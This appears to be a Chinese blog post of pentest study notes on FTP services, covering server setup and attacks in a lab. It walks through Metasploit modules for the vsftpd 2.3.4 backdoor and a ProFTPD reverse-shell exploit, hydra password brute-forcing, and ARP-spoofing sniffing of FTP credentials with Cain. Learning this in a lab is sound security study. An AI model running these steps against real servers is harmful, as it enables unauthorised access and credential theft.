端口与服务-ftp服务
端口与服务-ftp服务
1概述
1.1.从先知和乌云上爬取端口历史漏洞报告,总结报告
1.2.全面总结,出具一个表格之类的汇总表
2.ftp
# -*- coding: utf-8 -*-
import requests,re,sys
def wooyun_chax(keywords,page):
url =
"https://wooyun.x10sec.org/search?keywords="+keywords+"&&content_search_by=by_bugs&&search_by_html=False&&page="+page
print(url)
req = requests.get(url)
text = req.text
r = re.findall('<td><a
href="(.*?)" target="_blank">\s(.*?)</a>',text)
for i in r:
print("漏洞名称:"+i[1])
print("漏洞链接:"+"https://wooyun.x10sec.org/"+i[0])
print("漏洞总结:")
wooyun_chax(sys.argv[1],sys.argv[2])
2.1 ftp搭建
iis搭建
1.安装ftp服务:控制面板-程序和功能-打开或关闭windows功能-internet信息服务-ftp服务
2.查询ftp服务:计算机-管理-iis
3.创建一个ftp站点:右键-添加ftp站点-填写站点名称/目录-端口和IP-权限设置
4.启动
FileZillaServer搭建
1.安装:FileZillaServer-百度搜索下载-安装,打开
2.设置:打开-设置端口-edit-users-shared folders设置目录-添加用户-general设置密码
3.查看日志:edit-settings
2.2典型案列
1.后门vsftpd https://www.freebuf.com/column/143480.html
总结
1.搜索:钟馗之眼搜索 product:vsftpd 2.3.4
2.nmap漏洞探测:nmap --script=vuln且提示anonymous可以匿名登录
3.msf攻击
1.use exploit/unix/ftp/vsftpd_234_backdoor
2.set rhost和rport
3.exploit攻击
4.创建用户,提权
2.ftp远程代码溢出 https://blog.csdn.net/weixin_42214273/article/details/82892282
总结
1.环境:靶机 192.168.88.165 攻击机 192.168.88.138
2.扫描:nmap -sV 192.168.88.165 扫描服务和版本
nmap -A -v 192.168.88.165 扫描全部信息 不好用
nmap -O 192.168.88.165 探测靶场的操作系统类型与版本
3.发现开启的服务:ftp proftpd 1.3.3c
4.在kali中搜索漏洞:searchsploit ProFTPD 1.3.3c 未找到
5.msf中搜索相应漏洞模块:search ProFTPD 1.3.3c
配置1.设置payload set payload cmd/unix/reverse
2.设置lhost和rhost
3.exploit攻击
4.id查看
5.端口优化:python –c “import pty;pty.spawn(‘/bin/bash’)”
6.获取flag:一般flag放在root下 cd /root
3.ftp跳转攻击。 https://blog.csdn.net/mgxcool/article/details/48249473
2.3 攻击方式
ftp://192.168.43.85 1.正常输入uname和paw登陆,显示乱码。解决:控制面板-区域和语言-当前系统区域设置-设置为中文(简体,中国)
2.匿名访问 用户名:anonymous 密码:为空或者任意邮箱
3.直接访问
4.暴力猜解 hydra 192.168.43.85 ftp -L username.txt -P pwd.txt -o 111.txt
5.后门vsftpd
6.ftp远程代码溢出
7.跳转攻击
8.嗅探 cain嗅探ftp密码
2.4 cain嗅探ftp密码
1.设置 网卡设置cain-configure-sniffer-选择用于嗅探的网卡
arp中可以设置伪造的ip和mac地址
端口设置filters and ports-设置嗅探的端口
2.操作 找到被欺骗的IP:点击sniffer-scan mac address-打开arp页面-选择被欺骗的IP
点击嗅探
结果:passwords处显示抓取的密码
端口与服务-ftp服务的更多相关文章
- FTP服务安装与端口说明
FTP服务安装与端口说明 FTP端口修改安装部署windowswindows 2012文件服务 1. FTP服务介绍 1.1 什么是FTP FTP(File Transfer Protocol)是文件 ...
- 修改ftp服务的监听端口
需求说明: 今天在做一个项目的时候,低端的端口都给屏蔽掉了,需要进行修改为高端端口才能访问,在此记录下. 操作过程: 1.修改ftp的配置文件vsftpd.conf,增加以下的配置 listen_po ...
- ftp服务配置文件记录
因为南京的客户死活要ftp服务而不是sftp,所以我作手用vsftp作为服务器,尝试在windows ftp软件登录进去,特记录vsftp的用法. 配置文件在/etc/vsftpd.conf 有如下代 ...
- CentOS7 FTP服务搭建(虚拟用户访问FTP服务)
概述 最近在搞Oracle在Linux系统下集群,针对Linux系统,笔人也是一片空白.Liunx外部文件的传输,避免不了使用FTP服务,所以现在就整理下,CentOS7环境下,FTP服务的搭建.FT ...
- 5. 网络配置与FTP服务笔记
IP地址: Ipv4 2*32 Ipv6 tcp 网络通讯协议 udp 用户数据报协议 常见网络端口: 20 21 ftp服务 文件共享 22 ...
- Linux安装FTP服务
转自:http://blog.csdn.net/huangbiao86/article/details/6641952 ftp服务器 1. 在Linux和其他机器之间共享文件(在linux下安装ft ...
- Linux SSH,FTP服务配置
CentOS-6.4-x86_64-minimal 0.网卡配置 参考:Linux系统\Centos没有网卡eth0配置文件怎么办? - http://jingyan.baidu.com/articl ...
- CentOS系统下安装配置ftp服务
安装配置步骤: rpm -ivh /opt/bak/vsftpd-2.2.2-11.el6.x86_64.rpm --本地安装vsftpd ll /etc/vsftpd/ --查看vsftpd的配置 ...
- Ubuntu学习总结-02 Ubuntu下的FTP服务的安装和设置
一 安装vsftpd 在安装前vsftpd,先更新apt-get下载的数据源输入如下命令: sudo apt-get update 然后安装vsftpd sudo apt-get install vs ...
随机推荐
- new , delete常见用法和与malloc,free比较
new/delete是C++的运算符.malloc与free是C++/C语言的标准库函数,new/delete只能在C++中使用,malloc与free在C与C++中都能够使用,它们都可用于申请动态内 ...
- Java反射:Web学习的灵魂
反射:Web学习的灵魂 我们从最初的 javac -HelloWorld.java,到面向对象部分,我们可以将Java代码在计算机中经历的阶段分为三部分:Scource源代码阶段 -- Class类对 ...
- input输入框内容变化实时监听
js实现的文本框内容发生改变立马触发事件简单介绍:本章节介绍一下如何在文本框的内容发生变化的时候,立马触发一个事件执行响应的操作,而不是像是keydown或者keyup事件一样,只能够检测通过键盘输入 ...
- Java模版引擎之Freemarker
Java模版引擎之Freemarker freemarker是一款模版引擎,是一种基于模版生成静态文件的通用工具,它是为Java程序员提供的一个类库,它不是面向最终用户的,而是为程序员提供了一款可以嵌 ...
- ros 配置udev
显示已经链接设备 lsusb 显示挂载点 ls /dev/ttyACM* /dev/ttyUSB* 可以看到 ttyUSB0 和 ttyUSB1 对应哪一个设备不确定,因此,我们就需要一种方法来保证每 ...
- outlook邮箱备份
- WIndows系统BAT文件语法和技巧 原文的地址(http://www.jb51.net/article/5828.htm)
批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本 ...
- oracle_多表查询02
多表查询 select * from BONUS; select * from DEPT; select * from EMP; select * from SALGRADE; BONUS表 ENAM ...
- hdu 6045 多校签到题目
http://acm.hdu.edu.cn/showproblem.php?pid=6045 题解:遍历一遍,求出两个人答案中相同的个数,用wa表示.然后我从大的数入手,当wa的数都尽可能在两个人答案 ...
- According to MySQL 5.5.45+, 5.6.26+ and 5.7.6+ requirements SSL connection must be established by de
MySQL在高版本需要指明是否进行SSL连接 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/framework?characterEncoding ...